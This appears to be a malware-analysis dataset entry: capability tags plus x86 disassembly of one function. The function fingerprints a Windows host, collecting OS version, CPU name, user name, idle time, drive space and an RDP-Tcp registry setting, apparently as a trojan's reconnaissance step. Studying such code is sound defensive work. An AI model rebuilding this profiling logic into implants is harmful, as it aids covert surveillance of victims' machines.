Function at 0x4056f0
Capabilities:
Check for time delay via gettickcount
Check os version
Get cpu information
Get disk information
Get disk size
Get session user name
Query or enumerate registry value

Disassembly:
sub esp, 0x1dc
push ebx
push ebp
mov ebp, dword [esp + 0x1e8]
push esi
push edi
mov ecx, 0xe4
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
xor esi, esi
push eax
mov dword [esp + 0x50], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x50]
cmp eax, 4
ja 0x40572f
mov esi, str.Win_NT
cmp eax, 5
jne 0x40575b
mov eax, dword [esp + 0x54]
test eax, eax
jne 0x405743
mov esi, str.Win_2000
jmp 0x405785
cmp eax, 1
jne 0x40574f
mov esi, str.Win_XP
jmp 0x405785
cmp eax, 2
jne 0x405785
mov esi, str.Win_2003
jmp 0x405785
cmp eax, 6
jne 0x405785
mov eax, dword [esp + 0x54]
test eax, eax
jne 0x40576f
mov esi, str.Win_2008
jmp 0x405785
cmp eax, 1
jne 0x40577b
mov esi, str.Win_7
jmp 0x405785
cmp eax, 2
jne 0x405785
mov esi, str.Win_8
mov ecx, dword [esp + 0xe0]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
and ecx, 0xffff
push ecx
push esi
push str.Windows__s_SP_d
push ebp
call ebx
mov ecx, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [esp + 0xf8]
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x14]
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x118]
push edx
push 0xf003f
rep stosd dword es:[edi], eax
mov dword [esp + 0x1c], eax
push eax
lea eax, [esp + 0xf4]
push eax
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405826
lea ecx, [esp + 0x10]
lea edx, [ebp + 0x80]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x44]
push edx
push eax
push 0
push str.ProcessorNameString
push ecx
mov dword [esp + 0x28], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40584e
mov edi, str.Find_CPU_infomation_error
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push str.user32.dll
mov dword [esp + 0x3c], 8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetLastInputInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x38]
push ecx
call eax
test eax, eax
je 0x4058e1
call esi
mov edx, eax
mov eax, dword [esp + 0x3c]
sub edx, eax
mov eax, 0x10624dd3
mul edx
mov ecx, edx
mov eax, 0x88888889
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ecx
mov esi, edx
mov ecx, 0x3c
cdq
idiv ecx
mov eax, esi
push edx
cdq
idiv ecx
mov eax, 0x88888889
lea ecx, [ebp + 0x100]
push edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push str._2d:_2d:_2d_:
push ecx
call ebx
add esp, 0x14
lea edx, [esp + 0x24]
lea eax, [ebp + 0x200]
push edx
push eax
mov dword [esp + 0x2c], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.00405670
mov esi, dword [sym.imp.MSVCRT.dll_atol]
push eax
call esi
mov dword [ebp + 0x300], eax
call fcn.00405540
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor ebx, ebx
add esp, 8
mov dword [ebp + 0x304], eax
xor edi, edi
mov dword [esp + 0x10], ebx
mov cl, bl
lea edx, [esp + 0x18]
add cl, 0x42
push edx
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], 0x3a
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0
call esi
cmp eax, 3
jne 0x405996
lea eax, [esp + 0x30]
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x48]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, 0x1e
call fcn.0040d890
mov edx, dword [esp + 0x34]
add edi, eax
mov eax, dword [esp + 0x30]
mov ecx, 0x1e
call fcn.0040d890
add dword [esp + 0x10], eax
inc ebx
cmp ebx, 0x1a
jl 0x40592e
mov ecx, dword [esp + 0x10]
mov dword [ebp + 0x308], edi
mov dword [ebp + 0x30c], ecx
add ebp, 0x280
push 0x80
push ebp
push str.RDP_Tcp
call fcn.004055c0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1dc
ret 4